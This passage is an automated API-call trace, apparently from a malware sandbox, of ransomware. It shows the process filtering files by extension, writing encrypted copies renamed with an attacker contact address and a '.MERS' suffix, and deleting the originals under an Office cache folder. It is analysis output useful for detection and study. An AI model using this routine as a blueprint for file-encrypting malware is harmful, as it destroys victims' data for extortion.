lpString2=".xml") returned 1 [0035.354] lstrlenW (lpString=".rar") returned 4 [0035.354] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.354] lstrlenW (lpString=".bz2") returned 4 [0035.354] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.354] lstrlenW (lpString=".7z") returned 3 [0035.354] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.354] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0035.354] lstrlenW (lpString=".dbf") returned 4 [0035.354] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.354] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0035.354] lstrlenW (lpString=".1cd") returned 4 [0035.354] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.354] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0035.354] lstrlenW (lpString=".jpg") returned 4 [0035.354] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.354] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0035.355] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0035.355] lstrlenW (lpString=".doc") returned 4 [0035.355] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.355] lstrlenW (lpString=".docx") returned 5 [0035.355] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0035.355] lstrlenW (lpString=".pdf") returned 4 [0035.355] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.355] lstrlenW (lpString=".xls") returned 4 [0035.355] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.355] lstrlenW (lpString=".xlsx") returned 5 [0035.355] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0035.355] lstrlenW (lpString=".ppt") returned 4 [0035.355] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.355] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0035.355] lstrlenW (lpString=".zip") returned 4 [0035.355] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.355] lstrlenW (lpString=".rar") returned 4 [0035.355] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.355] lstrlenW (lpString=".bz2") returned 4 [0035.355] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.355] lstrlenW (lpString=".7z") returned 3 [0035.355] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.355] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0035.355] lstrlenW (lpString=".dbf") returned 4 [0035.355] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.355] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0035.355] lstrlenW (lpString=".1cd") returned 4 [0035.355] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.355] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0035.355] lstrlenW (lpString=".jpg") returned 4 [0035.355] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.355] lstrcmpiW (lpString1=".chm", lpString2=".MERS") returned -1 [0035.356] lstrlenW (lpString="pss10r.chm") returned 10 [0035.356] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0035.956] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=27195) returned 1 [0035.956] CloseHandle (hObject=0x1e4) returned 1 [0035.956] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm")) returned 0x2020 [0035.956] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0035.956] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0035.956] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.956] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.956] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0035.956] GetLastError () returned 0x0 [0035.956] ReadFile (in: hFile=0x1e4, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x6a3b, lpOverlapped=0x0) returned 1 [0035.958] WriteFile (in: hFile=0x1f0, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0x6a40, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x6a40, lpOverlapped=0x0) returned 1 [0035.960] ReadFile (in: hFile=0x1e4, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0035.960] WriteFile (in: hFile=0x1f0, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0035.960] SetEndOfFile (hFile=0x1f0) returned 1 [0035.960] CloseHandle (hObject=0x1f0) returned 1 [0035.961] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.961] SetEndOfFile (hFile=0x1e4) returned 1 [0035.962] CloseHandle (hObject=0x1e4) returned 1 [0035.962] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0035.962] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm")) returned 1 [0035.962] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0035.962] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0035.962] lstrlenW (lpString=".doc") returned 4 [0035.962] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0035.962] lstrlenW (lpString=".docx") returned 5 [0035.962] lstrcmpiW (lpString1=".docx", lpString2="r.chm") returned -1 [0035.962] lstrlenW (lpString=".pdf") returned 4 [0035.963] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0035.963] lstrlenW (lpString=".xls") returned 4 [0035.963] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0035.963] lstrlenW (lpString=".xlsx") returned 5 [0035.963] lstrcmpiW (lpString1=".xlsx", lpString2="r.chm") returned -1 [0035.963] lstrlenW (lpString=".ppt") returned 4 [0035.963] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0035.963] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0035.963] lstrlenW (lpString=".zip") returned 4 [0035.963] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0035.963] lstrlenW (lpString=".rar") returned 4 [0035.963] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0035.963] lstrlenW (lpString=".bz2") returned 4 [0035.963] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0035.963] lstrlenW (lpString=".7z") returned 3 [0035.963] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0035.963] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0035.963] lstrlenW (lpString=".dbf") returned 4 [0035.963] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0035.963] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0035.963] lstrlenW (lpString=".1cd") returned 4 [0035.963] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0035.963] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0035.963] lstrlenW (lpString=".jpg") returned 4 [0035.963] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0035.963] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0035.963] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0035.963] lstrlenW (lpString=".doc") returned 4 [0035.963] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0035.963] lstrlenW (lpString=".docx") returned 5 [0035.963] lstrcmpiW (lpString1=".docx", lpString2="r.chm") returned -1 [0035.963] lstrlenW (lpString=".pdf") returned 4 [0035.963] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0035.963] lstrlenW (lpString=".xls") returned 4 [0035.963] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0035.963] lstrlenW (lpString=".xlsx") returned 5 [0035.963] lstrcmpiW (lpString1=".xlsx", lpString2="r.chm") returned -1 [0035.964] lstrlenW (lpString=".ppt") returned 4 [0035.964] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0035.964] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0035.964] lstrlenW (lpString=".zip") returned 4 [0035.964] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0035.964] lstrlenW (lpString=".rar") returned 4 [0035.964] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0035.964] lstrlenW (lpString=".bz2") returned 4 [0035.964] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0035.964] lstrlenW (lpString=".7z") returned 3 [0035.964] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0035.964] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0035.964] lstrlenW (lpString=".dbf") returned 4 [0035.964] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0035.964] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0035.964] lstrlenW (lpString=".1cd") returned 4 [0035.964] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0035.964] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0035.964] lstrlenW (lpString=".jpg") returned 4 [0035.964] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0035.964] lstrcmpiW (lpString1=".xml", lpString2=".MERS") returned 1 [0035.964] lstrlenW (lpString="Office32WW.xml") returned 14 [0035.964] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0035.967] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=4274) returned 1 [0035.967] CloseHandle (hObject=0x1e4) returned 1 [0035.967] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020 [0035.967] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0035.967] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0035.967] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.967] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.967] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0035.968] GetLastError () returned 0x0 [0035.968] ReadFile (in: hFile=0x1e4, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x10b2, lpOverlapped=0x0) returned 1 [0035.977] WriteFile (in: hFile=0x1f0, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x10c0, lpOverlapped=0x0) returned 1 [0035.978] ReadFile (in: hFile=0x1e4, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0035.978] WriteFile (in: hFile=0x1f0, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0035.978] SetEndOfFile (hFile=0x1f0) returned 1 [0035.979] CloseHandle (hObject=0x1f0) returned 1 [0035.979] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.979] SetEndOfFile (hFile=0x1e4) returned 1 [0035.980] CloseHandle (hObject=0x1e4) returned 1 [0035.980] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0035.980] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 1 [0035.980] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.980] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.980] lstrlenW (lpString=".doc") returned 4 [0035.980] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.981] lstrlenW (lpString=".docx") returned 5 [0035.981] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0035.981] lstrlenW (lpString=".pdf") returned 4 [0035.981] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.981] lstrlenW (lpString=".xls") returned 4 [0035.981] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.981] lstrlenW (lpString=".xlsx") returned 5 [0035.981] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0035.981] lstrlenW (lpString=".ppt") returned 4 [0035.981] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.981] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.981] lstrlenW (lpString=".zip") returned 4 [0035.981] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.981] lstrlenW (lpString=".rar") returned 4 [0035.981] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.981] lstrlenW (lpString=".bz2") returned 4 [0035.981] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.981] lstrlenW (lpString=".7z") returned 3 [0035.981] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.981] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.981] lstrlenW (lpString=".dbf") returned 4 [0035.981] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.981] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.981] lstrlenW (lpString=".1cd") returned 4 [0035.981] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.981] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.981] lstrlenW (lpString=".jpg") returned 4 [0035.981] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.981] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.981] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.981] lstrlenW (lpString=".doc") returned 4 [0035.981] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.981] lstrlenW (lpString=".docx") returned 5 [0035.981] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0035.981] lstrlenW (lpString=".pdf") returned 4 [0035.981] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.982] lstrlenW (lpString=".xls") returned 4 [0035.982] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.982] lstrlenW (lpString=".xlsx") returned 5 [0035.982] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0035.982] lstrlenW (lpString=".ppt") returned 4 [0035.982] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.982] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.982] lstrlenW (lpString=".zip") returned 4 [0035.982] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.982] lstrlenW (lpString=".rar") returned 4 [0035.982] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.982] lstrlenW (lpString=".bz2") returned 4 [0035.982] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.982] lstrlenW (lpString=".7z") returned 3 [0035.982] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.982] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.982] lstrlenW (lpString=".dbf") returned 4 [0035.982] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.982] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.982] lstrlenW (lpString=".1cd") returned 4 [0035.982] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.982] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.982] lstrlenW (lpString=".jpg") returned 4 [0035.982] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.982] lstrcmpiW (lpString1=".xml", lpString2=".MERS") returned 1 [0035.982] lstrlenW (lpString="VisiorWW.xml") returned 12 [0035.983] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0035.984] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=8723) returned 1 [0035.985] CloseHandle (hObject=0x1e4) returned 1 [0035.985] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml")) returned 0x2020 [0035.985] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0035.985] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0035.985] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.985] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.985] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0035.985] GetLastError () returned 0x0 [0035.985] ReadFile (in: hFile=0x1e4, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x2213, lpOverlapped=0x0) returned 1 [0036.000] WriteFile (in: hFile=0x1f0, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0x2220, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x2220, lpOverlapped=0x0) returned 1 [0036.001] ReadFile (in: hFile=0x1e4, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0036.001] WriteFile (in: hFile=0x1f0, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0036.001] SetEndOfFile (hFile=0x1f0) returned 1 [0036.001] CloseHandle (hObject=0x1f0) returned 1 [0036.002] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.002] SetEndOfFile (hFile=0x1e4) returned 1 [0036.002] CloseHandle (hObject=0x1e4) returned 1 [0036.002] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0036.003] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml")) returned 1 [0036.003] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0036.003] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0036.003] lstrlenW (lpString=".doc") returned 4 [0036.003] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.003] lstrlenW (lpString=".docx") returned 5 [0036.003] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0036.003] lstrlenW (lpString=".pdf") returned 4 [0036.003] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.003] lstrlenW (lpString=".xls") returned 4 [0036.003] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.003] lstrlenW 